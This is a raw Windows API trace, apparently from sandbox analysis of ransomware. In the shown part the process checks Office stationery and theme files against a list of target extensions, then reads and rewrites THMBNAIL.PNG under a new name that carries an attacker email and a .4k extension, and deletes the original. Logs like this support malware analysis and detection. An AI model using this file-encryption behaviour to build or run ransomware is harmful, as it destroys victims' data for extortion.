	[0101.165] lstrlenW (lpString="Garden.htm") returned 10
	[0101.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.166] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=231) returned 1
	[0101.166] CloseHandle (hObject=0x1f0) returned 1
	[0101.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0101.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.385] lstrlenW (lpString=".doc") returned 4
	[0101.385] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.385] lstrlenW (lpString=".docx") returned 5
	[0101.385] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0101.385] lstrlenW (lpString=".pdf") returned 4
	[0101.385] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.385] lstrlenW (lpString=".xls") returned 4
	[0101.385] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.385] lstrlenW (lpString=".xlsx") returned 5
	[0101.385] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0101.385] lstrlenW (lpString=".ppt") returned 4
	[0101.385] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.385] lstrlenW (lpString=".zip") returned 4
	[0101.385] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.385] lstrlenW (lpString=".rar") returned 4
	[0101.386] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.386] lstrlenW (lpString=".bz2") returned 4
	[0101.386] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.386] lstrlenW (lpString=".7z") returned 3
	[0101.386] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.386] lstrlenW (lpString=".dbf") returned 4
	[0101.386] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.386] lstrlenW (lpString=".1cd") returned 4
	[0101.386] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.386] lstrlenW (lpString=".jpg") returned 4
	[0101.386] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.386] lstrlenW (lpString=".doc") returned 4
	[0101.386] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.386] lstrlenW (lpString=".docx") returned 5
	[0101.386] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0101.386] lstrlenW (lpString=".pdf") returned 4
	[0101.386] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.386] lstrlenW (lpString=".xls") returned 4
	[0101.386] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.386] lstrlenW (lpString=".xlsx") returned 5
	[0101.386] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0101.387] lstrlenW (lpString=".ppt") returned 4
	[0101.387] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.387] lstrlenW (lpString=".zip") returned 4
	[0101.387] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.387] lstrlenW (lpString=".rar") returned 4
	[0101.387] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.387] lstrlenW (lpString=".bz2") returned 4
	[0101.387] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.387] lstrlenW (lpString=".7z") returned 3
	[0101.387] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.387] lstrlenW (lpString=".dbf") returned 4
	[0101.387] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.387] lstrlenW (lpString=".1cd") returned 4
	[0101.388] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0101.388] lstrlenW (lpString=".jpg") returned 4
	[0101.388] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.394] lstrcmpiW (lpString1=".htm", lpString2=".4k") returned 1
	[0101.394] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0101.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.542] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=237) returned 1
	[0101.542] CloseHandle (hObject=0x1f0) returned 1
	[0101.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20
	[0101.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.543] lstrlenW (lpString=".doc") returned 4
	[0101.543] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.543] lstrlenW (lpString=".docx") returned 5
	[0101.543] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0101.543] lstrlenW (lpString=".pdf") returned 4
	[0101.543] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.543] lstrlenW (lpString=".xls") returned 4
	[0101.543] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.543] lstrlenW (lpString=".xlsx") returned 5
	[0101.543] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0101.543] lstrlenW (lpString=".ppt") returned 4
	[0101.543] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.543] lstrlenW (lpString=".zip") returned 4
	[0101.543] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.543] lstrlenW (lpString=".rar") returned 4
	[0101.543] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.544] lstrlenW (lpString=".bz2") returned 4
	[0101.544] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.544] lstrlenW (lpString=".7z") returned 3
	[0101.544] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.544] lstrlenW (lpString=".dbf") returned 4
	[0101.544] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.544] lstrlenW (lpString=".1cd") returned 4
	[0101.544] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.544] lstrlenW (lpString=".jpg") returned 4
	[0101.544] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.544] lstrlenW (lpString=".doc") returned 4
	[0101.544] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.544] lstrlenW (lpString=".docx") returned 5
	[0101.544] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0101.544] lstrlenW (lpString=".pdf") returned 4
	[0101.544] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.544] lstrlenW (lpString=".xls") returned 4
	[0101.544] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.544] lstrlenW (lpString=".xlsx") returned 5
	[0101.545] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0101.545] lstrlenW (lpString=".ppt") returned 4
	[0101.545] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.545] lstrlenW (lpString=".zip") returned 4
	[0101.545] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.545] lstrlenW (lpString=".rar") returned 4
	[0101.545] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.545] lstrlenW (lpString=".bz2") returned 4
	[0101.545] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.545] lstrlenW (lpString=".7z") returned 3
	[0101.545] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.545] lstrlenW (lpString=".dbf") returned 4
	[0101.545] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.545] lstrlenW (lpString=".1cd") returned 4
	[0101.545] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0101.545] lstrlenW (lpString=".jpg") returned 4
	[0101.545] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.596] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0101.596] lstrlenW (lpString="Small_News.jpg") returned 14
	[0101.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.258] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1990) returned 1
	[0102.259] CloseHandle (hObject=0x1f0) returned 1
	[0102.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20
	[0102.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0102.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.259] lstrlenW (lpString=".doc") returned 4
	[0102.259] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0102.259] lstrlenW (lpString=".docx") returned 5
	[0102.259] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0102.259] lstrlenW (lpString=".pdf") returned 4
	[0102.259] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0102.259] lstrlenW (lpString=".xls") returned 4
	[0102.259] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0102.259] lstrlenW (lpString=".xlsx") returned 5
	[0102.259] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0102.259] lstrlenW (lpString=".ppt") returned 4
	[0102.259] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0102.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.259] lstrlenW (lpString=".zip") returned 4
	[0102.260] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0102.260] lstrlenW (lpString=".rar") returned 4
	[0102.260] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0102.260] lstrlenW (lpString=".bz2") returned 4
	[0102.260] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0102.260] lstrlenW (lpString=".7z") returned 3
	[0102.260] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0102.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.260] lstrlenW (lpString=".dbf") returned 4
	[0102.260] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0102.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.260] lstrlenW (lpString=".1cd") returned 4
	[0102.260] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0102.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.260] lstrlenW (lpString=".jpg") returned 4
	[0102.260] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0102.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.260] lstrlenW (lpString=".doc") returned 4
	[0102.260] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0102.260] lstrlenW (lpString=".docx") returned 5
	[0102.260] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0102.260] lstrlenW (lpString=".pdf") returned 4
	[0102.260] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0102.260] lstrlenW (lpString=".xls") returned 4
	[0102.260] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0102.260] lstrlenW (lpString=".xlsx") returned 5
	[0102.260] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0102.261] lstrlenW (lpString=".ppt") returned 4
	[0102.261] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0102.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.261] lstrlenW (lpString=".zip") returned 4
	[0102.261] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0102.261] lstrlenW (lpString=".rar") returned 4
	[0102.261] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0102.261] lstrlenW (lpString=".bz2") returned 4
	[0102.261] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0102.261] lstrlenW (lpString=".7z") returned 3
	[0102.261] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0102.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.261] lstrlenW (lpString=".dbf") returned 4
	[0102.261] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0102.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.261] lstrlenW (lpString=".1cd") returned 4
	[0102.261] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0102.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72
	[0102.261] lstrlenW (lpString=".jpg") returned 4
	[0102.261] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0102.261] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.261] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.313] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=25234) returned 1
	[0102.313] CloseHandle (hObject=0x1e8) returned 1
	[0102.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20
	[0102.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.313] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.313] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.350] GetLastError () returned 0x0
	[0102.350] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x6292, lpOverlapped=0x0) returned 1
	[0102.399] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x62a0, lpOverlapped=0x0) returned 1
	[0102.401] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.401] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.401] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.401] CloseHandle (hObject=0x1f0) returned 1
	[0102.401] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.401] SetEndOfFile (hFile=0x1e8) returned 1
	[0102.402] CloseHandle (hObject=0x1e8) returned 1
	[0102.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1
	[0102.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.403] lstrlenW (lpString=".doc") returned 4
	[0102.403] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.403] lstrlenW (lpString=".docx") returned 5
	[0102.403] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.403] lstrlenW (lpString=".pdf") returned 4
	[0102.403] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.403] lstrlenW (lpString=".xls") returned 4
	[0102.403] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.403] lstrlenW (lpString=".xlsx") returned 5
	[0102.403] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.403] lstrlenW (lpString=".ppt") returned 4
	[0102.403] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.403] lstrlenW (lpString=".zip") returned 4
	[0102.403] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.403] lstrlenW (lpString=".rar") returned 4
	[0102.403] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.403] lstrlenW (lpString=".bz2") returned 4
	[0102.403] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.403] lstrlenW (lpString=".7z") returned 3
	[0102.403] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.403] lstrlenW (lpString=".dbf") returned 4
	[0102.403] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.403] lstrlenW (lpString=".1cd") returned 4
	[0102.403] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.403] lstrlenW (lpString=".jpg") returned 4
	[0102.403] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.404] lstrlenW (lpString=".doc") returned 4
	[0102.404] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.404] lstrlenW (lpString=".docx") returned 5
	[0102.404] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.404] lstrlenW (lpString=".pdf") returned 4
	[0102.404] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.404] lstrlenW (lpString=".xls") returned 4
	[0102.404] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.404] lstrlenW (lpString=".xlsx") returned 5
	[0102.404] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.404] lstrlenW (lpString=".ppt") returned 4
	[0102.404] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.404] lstrlenW (lpString=".zip") returned 4
	[0102.404] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.404] lstrlenW (lpString=".rar") returned 4
	[0102.404] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.404] lstrlenW (lpString=".bz2") returned 4
	[0102.404] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.404] lstrlenW (lpString=".7z") returned 3
	[0102.404] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.404] lstrlenW (lpString=".dbf") returned 4
	[0102.404] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
